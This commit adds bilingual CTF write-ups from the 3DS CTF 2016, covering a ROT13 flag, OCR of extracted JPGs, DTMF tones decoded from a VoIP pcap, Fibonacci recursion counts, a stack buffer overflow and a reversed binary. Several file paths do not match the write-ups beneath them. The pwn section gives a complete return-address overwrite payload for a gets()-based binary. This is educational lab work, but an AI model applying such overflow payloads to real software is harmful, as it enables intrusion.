added 3ds writeups

Author: Pharisaeus

2016-12-17-3dsctf/crypto_100_rot13/README.md

@@ -0,0 +1,14 @@
+# Rot13 (crypto 100)
+
+###ENG
+[PL](#pl-version)
+
+We get `3QF{gu1f_e0g_1f_a0g_f0_U0g}` as ciphertext.
+It looks like some substitution cipher working only on letters, so we assume a caesar (the task name was not rot13, I just don't remember it right now!).
+So after running caesar solver on this we get the flag `3DS{th1s_r0t_1s_n0t_s0_H0t}` for shift 13.
+
+###PL version
+
+Dostajemy ciphertext `3QF{gu1f_e0g_1f_a0g_f0_U0g}`.
+Wygląda to jak szyfr podstawieniowy działający tylko dla liter, więc założyliśmy cezara (nazwa zadania to nie było ro13, ale zwyczajnie nie pamiętam nazwy!).
+Więc po uruchomieniu solvera dla cezara dostajemy flagę `3DS{th1s_r0t_1s_n0t_s0_H0t}` dla shiftu 13.

2016-12-17-3dsctf/crypto_200_unbreakable/1.jpg

@@ -0,0 +1,161 @@
+# What the hex (for 300)
+
+###ENG
+[PL](#pl-version)
+
+In the task we get a large binary file (too large to put here, sorry).
+We notice that the file is in fact a 3000 concatenated JPG files with missing headers.
+We fix them and split with a script:
+
+```python
+s = open("massa.raw", "rb").read().decode("hex")
+r = s.split("FIF\x00")
+for i in range(1, 3001):
+    open("out/" + str(i) + ".jpg", "wb").write("\xff\xd8\xff\xe0\x00\x10JFIF\x00" + r[i])
+```
+
+And this way we get 3000 files looking like this:
+
+![](1.jpg)
+
+It's quite clear that the `flag` in the picture has incorrect format.
+We assume that there is one flag with proper format somewhere, but who would look for it by hand?
+Instead we used pytesseract to OCR each file and look for something more like the flag.
+Tesseract had some issues with reading blue letters on blue background, so we made it black and white with Pillow first:
+
+```python
+import codecs
+import io
+import math
+from multiprocessing import freeze_support
+from PIL import Image
+from pytesseract import pytesseract
+from crypto_commons.brute.brute import brute
+
+
+def similar(color1, color2):
+    return sum([math.fabs(color1[i] - color2[i]) for i in range(3)]) < 50
+
+
+def black_and_white(im, filling):
+    black = (0, 0, 0)
+    white = (255, 255, 255)
+    pixels = im.load()
+    for i in range(im.size[0]):
+        for j in range(im.size[1]):
+            color = pixels[i, j]
+            if similar(color, filling):
+                pixels[i, j] = white
+            else:
+                pixels[i, j] = black
+
+
+def worker(i):
+    with codecs.open("C:\\Users\\PC\\Desktop\\3ds\\outp\\" + str(i) + ".jpg", "rb")as f:
+        image_file = io.BytesIO(f.read())
+        im = Image.open(image_file)
+        im = im.convert('RGB')
+        black_and_white(im, (173, 217, 230))
+        text = pytesseract.image_to_string(im, config="-psm 8")
+        print(i, text)
+        if not text.startswith("3dsctf"):
+            im.show()
+            print('real flag', i, text)
+
+
+def main():
+    brute(worker, range(1, 3001))
+
+
+if __name__ == '__main__':
+    freeze_support()
+    main()
+```
+
+By running this in paralell with our crypto-commons multiprocessing brute we get the results pretty fast and the only result we get is:
+
+![](2365.jpg)
+
+There was a very nasty twist here, because the actual flag was supposed to contain large `O` and small `L`.
+While the `L` is reasonable, since both large `i` and small `L` look alike, using large `O` where in the picture it's pretty clear that we have `0` is just a dick move.
+
+Anyway the actual flag was `3DS{u_5hOuIdv3_7ried_tesseract}`
+
+###PL version
+
+W zadaniu dostajemy duży plik binarny (za dużo żeby to wrzucić, przepraszamy).
+Zauważamy, ze plik to w rzeczywistości sklejone ze sobą 3000 plików JPG bez headerów.
+Poprawiamy je i dzielimy za pomocą:
+
+```python
+s = open("massa.raw", "rb").read().decode("hex")
+r = s.split("FIF\x00")
+for i in range(1, 3001):
+    open("out/" + str(i) + ".jpg", "wb").write("\xff\xd8\xff\xe0\x00\x10JFIF\x00" + r[i])
+```
+
+I tym sposobem dostajemy 3000 plików wyglądajacych tak:
+
+![](1.jpg)
+
+Jest dość jasne, że `flaga` na obrazku ma niepoprawny format.
+Zakładamy że jest tam gdzieś jedna poprawna flaga, ale kto by jej szukał ręcznie?
+Zamiast tego używamy pytesseract żeby OCRować pliki i szukać czegoś co bardziej przypomina flagę.
+Tesseract miał jakieś problemy z niebieskimi napisami na niebieskim tle więc zmieniliśmy obrazki na czarno-białe za pomocą Pillow:
+
+```python
+import codecs
+import io
+import math
+from multiprocessing import freeze_support
+from PIL import Image
+from pytesseract import pytesseract
+from crypto_commons.brute.brute import brute
+
+
+def similar(color1, color2):
+    return sum([math.fabs(color1[i] - color2[i]) for i in range(3)]) < 50
+
+
+def black_and_white(im, filling):
+    black = (0, 0, 0)
+    white = (255, 255, 255)
+    pixels = im.load()
+    for i in range(im.size[0]):
+        for j in range(im.size[1]):
+            color = pixels[i, j]
+            if similar(color, filling):
+                pixels[i, j] = white
+            else:
+                pixels[i, j] = black
+
+
+def worker(i):
+    with codecs.open("C:\\Users\\PC\\Desktop\\3ds\\outp\\" + str(i) + ".jpg", "rb")as f:
+        image_file = io.BytesIO(f.read())
+        im = Image.open(image_file)
+        im = im.convert('RGB')
+        black_and_white(im, (173, 217, 230))
+        text = pytesseract.image_to_string(im, config="-psm 8")
+        print(i, text)
+        if not text.startswith("3dsctf"):
+            im.show()
+            print('real flag', i, text)
+
+
+def main():
+    brute(worker, range(1, 3001))
+
+
+if __name__ == '__main__':
+    freeze_support()
+    main()
+```
+
+Uruchamiając to równolegle z naszym brute z crypto-commons dostajemy dość szybko wyniki i jedyne trafienie to:
+
+![](2365.jpg)
+
+Było tutaj dość nieładne zagranie ze strony organizatorów, bo flaga miała zawierać duże `O` oraz małe `L`.
+O ile `L` jest sensowne, bo duże `i` oraz małe `L` wyglądają tak samo, użycie dużego `O` podczas gdy na obrazku ewidentnie mamy `0` to po prostu zagranie poniżej pasa.
+Tak czy siak końcowa flaga to `3DS{u_5hOuIdv3_7ried_tesseract}`

2016-12-17-3dsctf/crypto_200_unbreakable/2365.jpg

@@ -0,0 +1,30 @@
+# HALP (network 300)
+
+###ENG
+[PL](#pl-version)
+
+In the task we get a [pcap file](transmission.pcap).
+The file is from some VoIP call.
+If we analyse the RTP streams and use VoIP feature of Wireshark to play the streams it can find, we will hear someone connecting to an automatic response machine, and then typing a number with dial tones:
+
+![](voip.png)
+
+We extracted the dial-tones to a [file](dtm.flac) and then used DTMF decoder Audacity Plugin to recognize the keys:
+
+![](dtmf.png)
+
+I was confused what to do next, but my level headed friend just tried simply `3DS{4952061545946271}` as the flag, and it worked.
+
+###PL version
+
+W zadaniu dostajemy [plik pcap](transmission.pcap).
+Jest to zapis z rozmowy VoIP.
+Jeśli przeanalizujemy strumienie RTP i użyjemy później narzędzi Wiresharka do analizy VoIP, znajdziemy zapis audio z połączenia do jakiegoś automatycznego systemu odpowiedzi, a następnie wystukanie na klawiaturze tonowej jakichś cyfr:
+
+![](voip.png)
+
+Wyciągnęliśmy same tony do osobnego [pliku](dtm.flac) a następnie użyliśmy pluginu do Audacity DTMF decoder żeby rozpoznać klawisze:
+
+![](dtmf.png)
+
+Miałem w tej chwili zagwoztkę co zrobić dalej, ale jeden z moich kolegów spróbował wpisać po prostu `3DS{4952061545946271}` jako flagę i zadziałało.

2016-12-17-3dsctf/crypto_200_unbreakable/README.md

@@ -0,0 +1,41 @@
+# Fibonacci (ppc 400)
+
+###ENG
+[PL](#pl-version)
+
+The task is pretty simple.
+The server asks us how many recursions we need to compute N-th fibonacci number (using recursive algorithm).
+For some reason we could spend 25s on each question, which was a bit silly considering we could just pre-compute the results instantly in a fraction of a second.
+
+We can compute this using a dynamic algorithm.
+First two fibonacci numbers require 0 recursions, and k-th number require as many recursions as calculating k-2-th number + 1 (1 because we are calling fib(k-2)), plus calculating k-1-th number plus 1 (again 1 because we are calling fib(k-1)).
+And we can compute this iteratively from the bottom.
+So in general:
+
+```python
+calls = [0, 0] + [0] * (n + 1)
+for i in range(2, n + 1):
+	calls[i] = calls[i - 1] + calls[i - 2] + 2
+```
+
+We started by pre-computing results for the first 1000 numbers, but this as already an overkill because the largest tests were less than 500.
+Running this on 100 tests gives the flag: `3DS{g00d4lgorithmsC4nSaveYourTime}`
+
+###PL version
+
+Zadanie było dość proste.
+Serwer pytał ile wywołań rekurencyjnych potrzeba zeby policzyć N-tą liczbę fibonacciego (używając algorytmu rekurencyjnego).
+Z jakiegoś powodu mogliśmy użyć aż 25s na jedno pytanie, co było dość dziwne biorąc pod uwagę że można było wyliczyć sobie wcześniej tablicę rozwiązań w ułamku sekundy.
+
+Możemy policzyć rozwiązanie algorytmem dynamicznym.
+Pierwsze dwie liczby wymagają 0 rekurencji a k-ta liczba wymaga tyle rekurencji ile policzenie liczby k-2 plus 1 (1 bo wywołujemy fib(k-2)), plus ile policzenie liczby k-1 plus 1 (znowu 1 bo wywyłujemy fib(k-1)).
+Czyli generalnie:
+
+```python
+calls = [0, 0] + [0] * (n + 1)
+for i in range(2, n + 1):
+	calls[i] = calls[i - 1] + calls[i - 2] + 2
+```
+
+Zaczęliśmy przez wyliczenie rozwiazań dla pierwszego 1000 liczb bo okazało się przeszacowaniem, ponieważ największy test miał nie więcej niż 500.
+Uruchomienie tego dla 100 testów dało nam flagę: `3DS{g00d4lgorithmsC4nSaveYourTime}`

2016-12-17-3dsctf/for_300_whatthehex/README.md

@@ -0,0 +1,220 @@
+# Get started (pwn 100)
+
+###ENG
+[PL](#pl-version)
+
+In the task we get an ELF [binary](get_started) to work with.
+Ret-dec results are:
+
+```c
+int main(int argc, char ** argv) {
+    printf("Qual a palavrinha magica? ");
+    int32_t str;
+    gets((char *)&str);
+    return 0;
+}
+```
+
+So not much code is executed, but we can see that there is a blatant stack buffer overflow.
+The task description hints that we don't need to get a shell here, everything is in the binary.
+So we look at the disassembly and in fact there is:
+
+```asm
+; function: get_flag at 0x80489a0 -- 0x8048a1f
+0x80489a0:   56                                 	push esi
+0x80489a1:   83 ec 08                           	sub esp, 0x8
+0x80489a4:   81 7c 24 10 4f d6 8c 30            	cmp dword [ esp + 0x10 ], 0x308cd64f
+0x80489ac:   75 67                              	jnz 0x8048a15 <get_flag+0x75>
+0x80489ae:   81 7c 24 14 d1 19 57 19            	cmp dword [ esp + 0x14 ], 0x195719d1
+0x80489b6:   75 5d                              	jnz 0x8048a15 <get_flag+0x75>
+0x80489b8:   c7 44 24 04 68 dd 0c 08            	mov dword [ esp + 0x4 ], 0x80cdd68 ; "rt"
+0x80489c0:   c7 04 24 88 c3 0b 08               	mov dword [ esp ], 0x80bc388 ; "flag.txt"
+0x80489c7:   e8 44 6c 00 00                     	call 0x804f610 <fopen>
+0x80489cc:   89 c6                              	mov esi, eax
+0x80489ce:   89 34 24                           	mov dword [ esp ], esi
+0x80489d1:   e8 8a 87 00 00                     	call 0x8051160 <fgetc>
+0x80489d6:   0f b6 c8                           	movzx ecx, al
+0x80489d9:   81 f9 ff 00 00 00                  	cmp ecx, 0xff
+0x80489df:   74 2c                              	jz 0x8048a0d <get_flag+0x6d>
+0x80489e1:   0f be c8                           	movsx ecx, al
+0x80489e4:   66                                 	
+0x80489e5:   66                                 	
+0x80489e6:   66                                 	
+0x80489e7:   2e                                 	
+0x80489e8:   0f 1f 84 00 00 00 00 00            	nop dword [ eax + eax * 0x0 + 0x0 ]
+0x80489f0:   89 0c 24                           	mov dword [ esp ], ecx
+0x80489f3:   e8 a8 6d 00 00                     	call 0x804f7a0 <putchar>
+0x80489f8:   89 34 24                           	mov dword [ esp ], esi
+0x80489fb:   e8 60 87 00 00                     	call 0x8051160 <fgetc>
+0x8048a00:   0f be c8                           	movsx ecx, al
+0x8048a03:   0f b6 c0                           	movzx eax, al
+0x8048a06:   3d ff 00 00 00                     	cmp eax, 0xff
+0x8048a0b:   75 e3                              	jnz 0x80489f0 <get_flag+0x50>
+0x8048a0d:   89 34 24                           	mov dword [ esp ], esi
+0x8048a10:   e8 bb 67 00 00                     	call 0x804f1d0 <fclose>
+0x8048a15:   83 c4 08                           	add esp, 0x8
+0x8048a18:   5e                                 	pop esi
+0x8048a19:   c3                                 	ret
+0x8048a1a:   66                                 	
+0x8048a1b:   0f 1f 44 00 00                     	nop dword [ eax + eax * 0x0 + 0x0 ]
+```
+
+So we actually already have there a function which will read and print a flag if called.
+`Checksec` tells us there are no canaries, so we should be able to use buffer overflow in order to overwrite return address from `main()` and jump to `get_flag` function.
+
+Looking at `main` in assembly shows:
+
+```asm
+; function: main at 0x8048a20 -- 0x8048a4f
+0x8048a20:   83 ec 3c                           	sub esp, 0x3c
+0x8048a23:   c7 04 24 91 c3 0b 08               	mov dword [ esp ], 0x80bc391 ; "Qual a palavrinha magica? "
+0x8048a2a:   e8 b1 66 00 00                     	call 0x804f0e0 <printf>
+0x8048a2f:   8d 44 24 04                        	lea eax, dword [ esp + 0x4 ]
+0x8048a33:   89 04 24                           	mov dword [ esp ], eax
+0x8048a36:   e8 f5 6b 00 00                     	call 0x804f630 <function_804f630>
+0x8048a3b:   31 c0                              	xor eax, eax
+0x8048a3d:   83 c4 3c                           	add esp, 0x3c
+0x8048a40:   c3                                 	ret
+```
+
+So we can see that stack frame was created with `sub esp, 0x3c` and therefore there are 60 bytes of stack allocated.
+4 bytes go for the return address, so we need to overflow 56 bytes in order to get to the return pointer.
+
+We want to change the pointer for address `0x80489a0` which is the start of `get_flag` function.
+So the necessary payload is:
+
+`("a"*56)+chr(0xa0)+chr(0x89)+chr(0x04)+chr(0x08)`
+
+Keep in mind the reversed byte order for the addresses!
+But this is not enough yet.
+In the `get_flag` code there is:
+
+```asm
+0x80489a4:   81 7c 24 10 4f d6 8c 30            	cmp dword [ esp + 0x10 ], 0x308cd64f
+0x80489ac:   75 67                              	jnz 0x8048a15 <get_flag+0x75>
+0x80489ae:   81 7c 24 14 d1 19 57 19            	cmp dword [ esp + 0x14 ], 0x195719d1
+0x80489b6:   75 5d                              	jnz 0x8048a15 <get_flag+0x75>
+```
+
+Suffice to say that if we take any of those 2 jumps the application will not read the flag for us.
+So we have to make sure that those stack variables carry those specified values.
+
+With the debugger we can quickly calculate that first of those values at `esp + 0x10` is just 4 bytes above the return pointer we just substituted, so we need to extend our payload to:
+
+`("a"*56)+chr(0xa0)+chr(0x89)+chr(0x04)+chr(0x08)+"a"*4+chr(0x4f)+chr(0xd6)+chr(0x8c)+chr(0x30)`
+
+to skip the first check.
+The next one is at `esp + 0x14` so simply the next 4 bytes, and therefore the final payload requires:
+
+`("a"*56)+chr(0xa0)+chr(0x89)+chr(0x04)+chr(0x08)+"a"*4+chr(0x4f)+chr(0xd6)+chr(0x8c)+chr(0x30)+""+chr(0xd1)+chr(0x19)+chr(0x57)+chr(0x19)`
+
+Using the payload we get the flag: `3DS{b0f_pr4_c0m3c4r_n3}`
+
+###PL version
+
+W zadaniu dostajemy ELFową [binarke](get_started).
+Wyniki ret-dec:
+
+```c
+int main(int argc, char ** argv) {
+    printf("Qual a palavrinha magica? ");
+    int32_t str;
+    gets((char *)&str);
+    return 0;
+}
+```
+
+Niewiele wykonywanego kodu, ale widzimy że jest tam ewidentny stack buffer overflow.
+Zadanie hintuje, że nie trzeba tu zdobywać shella bo wszystko jest już w binarce.
+Więc zaglądamy do deasemblera a tam faktycznie:
+
+```asm
+; function: get_flag at 0x80489a0 -- 0x8048a1f
+0x80489a0:   56                                 	push esi
+0x80489a1:   83 ec 08                           	sub esp, 0x8
+0x80489a4:   81 7c 24 10 4f d6 8c 30            	cmp dword [ esp + 0x10 ], 0x308cd64f
+0x80489ac:   75 67                              	jnz 0x8048a15 <get_flag+0x75>
+0x80489ae:   81 7c 24 14 d1 19 57 19            	cmp dword [ esp + 0x14 ], 0x195719d1
+0x80489b6:   75 5d                              	jnz 0x8048a15 <get_flag+0x75>
+0x80489b8:   c7 44 24 04 68 dd 0c 08            	mov dword [ esp + 0x4 ], 0x80cdd68 ; "rt"
+0x80489c0:   c7 04 24 88 c3 0b 08               	mov dword [ esp ], 0x80bc388 ; "flag.txt"
+0x80489c7:   e8 44 6c 00 00                     	call 0x804f610 <fopen>
+0x80489cc:   89 c6                              	mov esi, eax
+0x80489ce:   89 34 24                           	mov dword [ esp ], esi
+0x80489d1:   e8 8a 87 00 00                     	call 0x8051160 <fgetc>
+0x80489d6:   0f b6 c8                           	movzx ecx, al
+0x80489d9:   81 f9 ff 00 00 00                  	cmp ecx, 0xff
+0x80489df:   74 2c                              	jz 0x8048a0d <get_flag+0x6d>
+0x80489e1:   0f be c8                           	movsx ecx, al
+0x80489e4:   66                                 	
+0x80489e5:   66                                 	
+0x80489e6:   66                                 	
+0x80489e7:   2e                                 	
+0x80489e8:   0f 1f 84 00 00 00 00 00            	nop dword [ eax + eax * 0x0 + 0x0 ]
+0x80489f0:   89 0c 24                           	mov dword [ esp ], ecx
+0x80489f3:   e8 a8 6d 00 00                     	call 0x804f7a0 <putchar>
+0x80489f8:   89 34 24                           	mov dword [ esp ], esi
+0x80489fb:   e8 60 87 00 00                     	call 0x8051160 <fgetc>
+0x8048a00:   0f be c8                           	movsx ecx, al
+0x8048a03:   0f b6 c0                           	movzx eax, al
+0x8048a06:   3d ff 00 00 00                     	cmp eax, 0xff
+0x8048a0b:   75 e3                              	jnz 0x80489f0 <get_flag+0x50>
+0x8048a0d:   89 34 24                           	mov dword [ esp ], esi
+0x8048a10:   e8 bb 67 00 00                     	call 0x804f1d0 <fclose>
+0x8048a15:   83 c4 08                           	add esp, 0x8
+0x8048a18:   5e                                 	pop esi
+0x8048a19:   c3                                 	ret
+0x8048a1a:   66                                 	
+0x8048a1b:   0f 1f 44 00 00                     	nop dword [ eax + eax * 0x0 + 0x0 ]
+```
+
+Więc faktycznie jest tu funkcja czytająca i wypisująca flagę.
+`Checksec` mówi że nie ma na stosie kanarków, więc możemy bez problemów przepełnić bufor na stosie aby nadpisać adres powrotu z funkcji `main()` i skoczyć do funkcji `get_flag`.
+
+Jeśli popatrzymy na disasm funkcji main, zobaczymy:
+
+```asm
+; function: main at 0x8048a20 -- 0x8048a4f
+0x8048a20:   83 ec 3c                           	sub esp, 0x3c
+0x8048a23:   c7 04 24 91 c3 0b 08               	mov dword [ esp ], 0x80bc391 ; "Qual a palavrinha magica? "
+0x8048a2a:   e8 b1 66 00 00                     	call 0x804f0e0 <printf>
+0x8048a2f:   8d 44 24 04                        	lea eax, dword [ esp + 0x4 ]
+0x8048a33:   89 04 24                           	mov dword [ esp ], eax
+0x8048a36:   e8 f5 6b 00 00                     	call 0x804f630 <function_804f630>
+0x8048a3b:   31 c0                              	xor eax, eax
+0x8048a3d:   83 c4 3c                           	add esp, 0x3c
+0x8048a40:   c3                                 	ret
+```
+
+Więc widać że ramka stosu została utworzona przez `sub esp, 0x3c` a więc zaalokowano 60 bajtów na stosie.
+4 potrzebne są na adres powrotu, więc musimy przepełnić bufor o 56 bajtów żeby dokopać się do adresu powrotu.
+
+Chcemy zmienić ten adres na `0x80489a0`, czyli na początek funkcji `get_flag`.
+To oznacza że potrzebny payload to:
+
+`("a"*56)+chr(0xa0)+chr(0x89)+chr(0x04)+chr(0x08)`
+
+Pamiętajmy o odwrotnej kolejności bajtów w adresach!
+Ale to jeszcze nie wszystko.
+W kodzie `get_flag` mamy:
+
+```asm
+0x80489a4:   81 7c 24 10 4f d6 8c 30            	cmp dword [ esp + 0x10 ], 0x308cd64f
+0x80489ac:   75 67                              	jnz 0x8048a15 <get_flag+0x75>
+0x80489ae:   81 7c 24 14 d1 19 57 19            	cmp dword [ esp + 0x14 ], 0x195719d1
+0x80489b6:   75 5d                              	jnz 0x8048a15 <get_flag+0x75>
+```
+
+Jeśli wykonamy którykolwiek z tych 2 skoków flaga nie zostanie odczytana i wypisana.
+Musimy więc tak ustawić zmienne na stosie, żeby ominąć te dwa warunki.
+
+Za pomocą debuggera możemy szybko wyliczyć że pierwsza wartość z `esp + 0x10` jest tylko 4 bajty powyżej adresu powrotu z main który nadpisaliśmy, więc potrzebujemy rozszerzyć nasz payload do:
+
+`("a"*56)+chr(0xa0)+chr(0x89)+chr(0x04)+chr(0x08)+"a"*4+chr(0x4f)+chr(0xd6)+chr(0x8c)+chr(0x30)`
+
+aby ominąć pierwszy warunek.
+Druga zmienna jest pod `esp + 0x14` więc to po prostu kolejne 4 bajty, więc payload rozszerzamy do:
+
+`("a"*56)+chr(0xa0)+chr(0x89)+chr(0x04)+chr(0x08)+"a"*4+chr(0x4f)+chr(0xd6)+chr(0x8c)+chr(0x30)+""+chr(0xd1)+chr(0x19)+chr(0x57)+chr(0x19)`
+
+Wysyłając taki zestaw danych dostajemy: `3DS{b0f_pr4_c0m3c4r_n3}`

2016-12-17-3dsctf/net_300_halp/README.md

@@ -0,0 +1,146 @@
+# merces (re 100)
+
+###ENG
+[PL](#pl-version)
+
+In the task we get an ELF [binary](merces) to work with.
+W put it in ret-dec and we get a nice decompilation result:
+
+```c
+// Address range: 0x804842b - 0x804850a
+int32_t flag(int32_t a1, int32_t a2) {
+    // 0x804842b
+    int32_t chars_printed; // 0x804850a_2
+    if (a1 != 42 || a2 < 2) {
+        // 0x8048452
+        if (a1 == 42) {
+            // 0x8048452
+            chars_printed = g1;
+            // branch -> 0x8048509
+        } else {
+            // 0x80484f5
+            putchar(51);
+            putchar(68);
+            putchar(83);
+            putchar(123);
+            putchar(48);
+            putchar(112);
+            putchar(49);
+            putchar(110);
+            putchar(49);
+            putchar(64);
+            printf("_te_");
+            chars_printed = printf("pr%dnd%d}\n", 3, 3);
+            // branch -> 0x8048509
+        }
+        // 0x8048509
+        return chars_printed;
+    }
+    // 0x804843d
+    chars_printed = printf("3DS{c0ruj0u}");
+    // branch -> 0x8048509
+    // 0x8048509
+    return chars_printed;
+}
+
+// Address range: 0x804850b - 0x804853f
+int main(int argc, char ** argv) {
+    int32_t v1 = argc;
+    g1 = &v1;
+    flag(42, argc);
+    return 0;
+}
+```
+
+We can see that simply running the binary will return a fake flag `3DS{c0ruj0u}` because the passed parameter is `42`.
+We can also see that if we could modify the value passed to the `flag` function, for example with a debugger or by patching the binary, it would print the flag for us.
+However, we don't even need that, considering we can see that that flag comes from:
+
+```c
+putchar(51);
+putchar(68);
+putchar(83);
+putchar(123);
+putchar(48);
+putchar(112);
+putchar(49);
+putchar(110);
+putchar(49);
+putchar(64);
+printf("_te_");
+printf("pr%dnd%d}\n", 3, 3)
+```
+
+Which evaluates to `3DS{0p1n1@_te_pr3nd3}`.
+
+###PL version
+
+W zadaniu dostajemy ELFową [binarke](merces).
+Po wrzuceniu jej do ret-dec dostajemy dość ładny zdekompilowany kod:
+
+```c
+// Address range: 0x804842b - 0x804850a
+int32_t flag(int32_t a1, int32_t a2) {
+    // 0x804842b
+    int32_t chars_printed; // 0x804850a_2
+    if (a1 != 42 || a2 < 2) {
+        // 0x8048452
+        if (a1 == 42) {
+            // 0x8048452
+            chars_printed = g1;
+            // branch -> 0x8048509
+        } else {
+            // 0x80484f5
+            putchar(51);
+            putchar(68);
+            putchar(83);
+            putchar(123);
+            putchar(48);
+            putchar(112);
+            putchar(49);
+            putchar(110);
+            putchar(49);
+            putchar(64);
+            printf("_te_");
+            chars_printed = printf("pr%dnd%d}\n", 3, 3);
+            // branch -> 0x8048509
+        }
+        // 0x8048509
+        return chars_printed;
+    }
+    // 0x804843d
+    chars_printed = printf("3DS{c0ruj0u}");
+    // branch -> 0x8048509
+    // 0x8048509
+    return chars_printed;
+}
+
+// Address range: 0x804850b - 0x804853f
+int main(int argc, char ** argv) {
+    int32_t v1 = argc;
+    g1 = &v1;
+    flag(42, argc);
+    return 0;
+}
+```
+
+Widzimy od razu że samo uruchomienie aplikacji da nam fałszywą flagę `3DS{c0ruj0u}` ponieważ do funkcji flag przekazywany jest argument `42`.
+Widzimy też, że moglibyśmy zmodyfikować tą wartość debugerem lub patchując aplikacje i wypisała by dla nas flagę.
+Ale nie musimy robić nawet tego, ponieważ widać wyraźnie że prawdziwa flaga wychodzi z:
+
+```c
+putchar(51);
+putchar(68);
+putchar(83);
+putchar(123);
+putchar(48);
+putchar(112);
+putchar(49);
+putchar(110);
+putchar(49);
+putchar(64);
+printf("_te_");
+printf("pr%dnd%d}\n", 3, 3)
+```
+
+Co ewaluuje się do `3DS{0p1n1@_te_pr3nd3}`.